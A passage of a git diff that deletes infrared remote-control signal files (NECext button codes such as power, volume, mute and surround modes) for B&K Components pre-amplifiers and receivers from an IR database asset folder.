-address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: Z2_RADIO_[FM] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: BK001_FM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: VIDEO_PILLAR_BOX_ASP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 91 00 00 00 -# -name: VIDEO_BRIGHT+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 94 00 00 00 -# -name: SOURCE_IN_10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 97 00 00 00 -# -name: VIDEO_ZOOM- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 99 00 00 00 -# -name: AUDIO_MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: BK001_MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: VIDEO_WIDE_ASPECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9C 00 00 00 -# -name: IMG+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9E 00 00 00 -# -name: BK001_IMAGE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9E 00 00 00 -# -name: VIDEO_CHROMA_ENHANCE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: A1 00 00 00 -# -name: TUNER_SEEK+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: A5 00 00 00 -# -name: AUDIO_DTS_NEO:6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: NEO_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: BK001_NEO:6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: VIDEO_LIP_SYNC+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B1 00 00 00 -# -name: AUDIO_MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: BK001_MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: VIDEO_SLEEP_TIMER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B3 00 00 00 -# -name: BK001_SLEEP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B3 00 00 00 -# -name: VIDEO_COLOR+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B4 00 00 00 -# -name: SOURCE_IN_13 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B7 00 00 00 -# -name: AUDIO_SOURCE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: BA 00 00 00 -# -name: VIDEO_TEMPORAL_NR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: BE 00 00 00 -# -name: TUNER_GUIDE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C3 00 00 00 -# -name: TUNER_SEEK- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C5 00 00 00 -# -name: BK001_PRESET- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C6 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CA 00 00 00 -# -name: BK001_SURROUND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CA 00 00 00 -# -name: PAN__ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CE 00 00 00 -# -name: BK001_PANORAMA- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CE 00 00 00 -# -name: VIDEO_LIP_SYNC- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D1 00 00 00 -# -name: AUDIO_LAST_INPUT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D3 00 00 00 -# -name: VIDEO_CONTRAST+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D4 00 00 00 -# -name: VIDEO_CONTROL_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D6 00 00 00 -# -name: SOURCE_IN_12 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: D7 00 00 00 -# -name: AUDIO_SOURCE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: DA 00 00 00 -# -name: VIDEO_DETAIL+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: DE 00 00 00 -# -name: VIDEO_ASPECT(STEP) -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E1 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: AUDIO_STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: BK001_STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: AUDIO_BASS+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: BASS_> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: BK001_BASS+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: AUDIO_DOLBY_PLIIX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: DPLII -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: BK001_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: TUNER_STEREO_MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EB 00 00 00 -# -name: VIDEO_NO_ASPECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EC 00 00 00 -# -name: IMG_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EE 00 00 00 -# -name: BK001_IMAGE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EE 00 00 00 -# -name: VIDEO_HUE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F4 00 00 00 -# -name: AUDIO_PREFERENCE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F5 00 00 00 -# -name: AUDIO_TREBLE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: TREB> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: BK001_TREBLE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: VIDEO_SOURCE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FA 00 00 00 -# -name: BK001_DIMENSION- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir deleted file mode 100644 index a30f9db8a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAVE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 00 00 00 00 -# -name: CTRL -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 01 00 00 00 -# -name: Z1 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 02 00 00 00 -# -name: Z2 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 03 00 00 00 -# -name: A/V_PRESET_1 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 04 00 00 00 -# -name: A/V_PRESET_2 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 05 00 00 00 -# -name: A/V_PRESET_3 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 06 00 00 00 -# -name: A/V_PRESET_4 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 07 00 00 00 -# -name: A/V_PRESET_6 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 09 00 00 00 -# -name: BALANCE_> -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0A 00 00 00 -# -name: BALANCE_< -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0B 00 00 00 -# -name: V_(MENU) -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0C 00 00 00 -# -name: ^_(MENU) -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0D 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0E 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 11 00 00 00 -# -name: A/V_PRESET_7 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 12 00 00 00 -# -name: A/V_PRESET_8 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 13 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 14 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 15 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 16 00 00 00 -# -name: FX -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 19 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1A 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1B 00 00 00 -# -name: VLD -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1C 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1E 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 05 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir deleted file mode 100644 index 179b73d5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAVE -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 00 00 00 00 -# -name: CTRL -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 01 00 00 00 -# -name: Z1 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 02 00 00 00 -# -name: Z2 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 03 00 00 00 -# -name: A/V_PRESET_1 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 04 00 00 00 -# -name: A/V_PRESET_2 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 05 00 00 00 -# -name: A/V_PRESET_3 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 06 00 00 00 -# -name: A/V_PRESET_4 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 07 00 00 00 -# -name: A/V_PRESET_5 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 08 00 00 00 -# -name: A/V_PRESET_6 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 09 00 00 00 -# -name: BALANCE_> -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 0A 00 00 00 -# -name: BALANCE_< -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 0B 00 00 00 -# -name: V_(MENU) -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 0C 00 00 00 -# -name: ^_(MENU) -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 0D 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 0E 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 11 00 00 00 -# -name: A/V_PRESET_8 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 13 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 17 00 00 00 -# -name: FX -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 19 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 1A 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 1B 00 00 00 -# -name: VLD -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 1C 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 1D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 1E 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 06 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir deleted file mode 100644 index 8a6f02d42..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir +++ /dev/null @@ -1,398 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK003_POWER_OFF -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 01 00 00 00 -# -name: BK003_POWER_ON -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 02 00 00 00 -# -name: BK003_MUTE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 03 00 00 00 -# -name: BK003_V1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 05 00 00 00 -# -name: BK003_TV -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 06 00 00 00 -# -name: BK003_V2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 09 00 00 00 -# -name: BK003_TAPE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0B 00 00 00 -# -name: BK003_DVD -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0D 00 00 00 -# -name: BK003_CD -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0F 00 00 00 -# -name: BK003_CENTER- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 15 00 00 00 -# -name: BK003_CENTER+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 16 00 00 00 -# -name: BK003_REAR- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 19 00 00 00 -# -name: BK003_REAR+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1A 00 00 00 -# -name: BK003_SUB- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1D 00 00 00 -# -name: BK003_SUB+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1E 00 00 00 -# -name: BK003_LEFT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1F 00 00 00 -# -name: BK003_RIGHT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 20 00 00 00 -# -name: BK003_VOLUME- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 23 00 00 00 -# -name: BK003_VOLUME+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 24 00 00 00 -# -name: BK003_NUMBER_+10 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 29 00 00 00 -# -name: BK003_EQ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2A 00 00 00 -# -name: BK003_DVD-AUDIO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2B 00 00 00 -# -name: BK003_DOWN -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2D 00 00 00 -# -name: BK003_UP -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2E 00 00 00 -# -name: BK003_MENU -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2F 00 00 00 -# -name: BK003_ENTER/SELECT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 30 00 00 00 -# -name: BK003_NUMBER_1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 31 00 00 00 -# -name: BK003_NUMBER_2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 32 00 00 00 -# -name: BK003_NUMBER_3 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 33 00 00 00 -# -name: BK003_NUMBER_4 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 35 00 00 00 -# -name: BK003_NUMBER_5 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 36 00 00 00 -# -name: BK003_NUMBER_6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 37 00 00 00 -# -name: BK003_NUMBER_7 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 39 00 00 00 -# -name: BK003_NUMBER_8 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3A 00 00 00 -# -name: BK003_NUMBER_9 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3B 00 00 00 -# -name: BK003_NUMBER_0 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3E 00 00 00 -# -name: BK003_Z -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3F 00 00 00 -# -name: BK003_SAVE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 40 00 00 00 -# -name: BK003_SAT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4A 00 00 00 -# -name: BK003_PRESET+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4B 00 00 00 -# -name: BK003_PANORAMA+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4E 00 00 00 -# -name: BK003_INFO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 53 00 00 00 -# -name: BK003_BASS- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 65 00 00 00 -# -name: BK003_GAME -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 6A 00 00 00 -# -name: BK003_MOVIE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 72 00 00 00 -# -name: BK003_AM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 76 00 00 00 -# -name: BK003_TREBLE- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 79 00 00 00 -# -name: BK003_EXIT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 7D 00 00 00 -# -name: BK003_DIMENSION+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 81 00 00 00 -# -name: BK003_CINEMA -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 8A 00 00 00 -# -name: BK003_FM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 8E 00 00 00 -# -name: BK003_MONO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 9A 00 00 00 -# -name: BK003_IMAGE+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 9E 00 00 00 -# -name: BK003_NEO:6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: AA 00 00 00 -# -name: BK003_MUSIC -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: B2 00 00 00 -# -name: BK003_SLEEP -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: B3 00 00 00 -# -name: BK003_PRESET- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: C6 00 00 00 -# -name: BK003_SURROUND -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: CA 00 00 00 -# -name: BK003_PANORAMA- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: CE 00 00 00 -# -name: BK003_STEREO -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: E2 00 00 00 -# -name: BK003_BASS+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: E5 00 00 00 -# -name: BK003_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: EA 00 00 00 -# -name: BK003_IMAGE- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: EE 00 00 00 -# -name: BK003_TREBLE+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: F9 00 00 00 -# -name: BK003_DIMENSION- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir deleted file mode 100644 index a27dc9923..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK005_POWER_OFF -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 01 00 00 00 -# -name: BK005_POWER_ON -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 02 00 00 00 -# -name: BK005_MUTE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 03 00 00 00 -# -name: BK005_V1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 05 00 00 00 -# -name: BK005_TV -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 06 00 00 00 -# -name: BK005_V2 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 09 00 00 00 -# -name: BK005_TAPE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0B 00 00 00 -# -name: BK005_DVD -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0D 00 00 00 -# -name: BK005_CD -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0F 00 00 00 -# -name: BK005_CENTER- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 15 00 00 00 -# -name: BK005_CENTER+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 16 00 00 00 -# -name: BK005_REAR- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 19 00 00 00 -# -name: BK005_REAR+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1A 00 00 00 -# -name: BK005_SUB- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1D 00 00 00 -# -name: BK005_SUB+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1E 00 00 00 -# -name: BK005_LEFT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1F 00 00 00 -# -name: BK005_RIGHT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 20 00 00 00 -# -name: BK005_VOLUME- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 23 00 00 00 -# -name: BK005_VOLUME+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 24 00 00 00 -# -name: BK005_NUMBER_+10 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 29 00 00 00 -# -name: BK005_EQ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2A 00 00 00 -# -name: BK005_DVD-AUDIO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2B 00 00 00 -# -name: BK005_DOWN -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2D 00 00 00 -# -name: BK005_UP -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2E 00 00 00 -# -name: BK005_MENU -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2F 00 00 00 -# -name: BK005_ENTER/SELECT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 30 00 00 00 -# -name: BK005_NUMBER_1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 31 00 00 00 -# -name: BK005_NUMBER_2 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 32 00 00 00 -# -name: BK005_NUMBER_3 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 33 00 00 00 -# -name: BK005_NUMBER_4 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 35 00 00 00 -# -name: BK005_NUMBER_5 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 36 00 00 00 -# -name: BK005_NUMBER_6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 37 00 00 00 -# -name: BK005_NUMBER_7 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 39 00 00 00 -# -name: BK005_NUMBER_8 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3A 00 00 00 -# -name: BK005_NUMBER_9 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3B 00 00 00 -# -name: BK005_NUMBER_0 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3E 00 00 00 -# -name: BK005_Z -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3F 00 00 00 -# -name: BK005_SAVE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 40 00 00 00 -# -name: BK005_SAT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4A 00 00 00 -# -name: BK005_PRESET+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4B 00 00 00 -# -name: BK005_PANORAMA+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4E 00 00 00 -# -name: BK005_INFO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 53 00 00 00 -# -name: BK005_BASS- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 65 00 00 00 -# -name: BK005_GAME -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 6A 00 00 00 -# -name: BK005_MOVIE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 72 00 00 00 -# -name: BK005_AM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 76 00 00 00 -# -name: BK005_TREBLE- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 79 00 00 00 -# -name: BK005_EXIT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 7D 00 00 00 -# -name: BK005_DIMENSION+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 81 00 00 00 -# -name: BK005_CINEMA -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 8A 00 00 00 -# -name: BK005_FM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 8E 00 00 00 -# -name: BK005_MONO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 9A 00 00 00 -# -name: BK005_IMAGE+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 9E 00 00 00 -# -name: BK005_NEO:6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: AA 00 00 00 -# -name: BK005_MUSIC -type: parsed -protocol: NECext -address: CB 43 00 00 -command: B2 00 00 00 -# -name: BK005_SLEEP -type: parsed -protocol: NECext -address: CB 43 00 00 -command: B3 00 00 00 -# -name: BK005_PRESET- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: C6 00 00 00 -# -name: BK005_SURROUND -type: parsed -protocol: NECext -address: CB 43 00 00 -command: CA 00 00 00 -# -name: BK005_PANORAMA- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: CE 00 00 00 -# -name: BK005_STEREO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: E2 00 00 00 -# -name: BK005_BASS+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: E5 00 00 00 -# -name: BK005_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: CB 43 00 00 -command: EA 00 00 00 -# -name: BK005_IMAGE- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: EE 00 00 00 -# -name: BK005_TREBLE+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: F9 00 00 00 -# -name: BK005_DIMENSION- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir deleted file mode 100644 index 37716e77b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir +++ /dev/null @@ -1,1766 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: BK001_POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: BK001_POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: 00_MUTE -type: parsed -protocol: 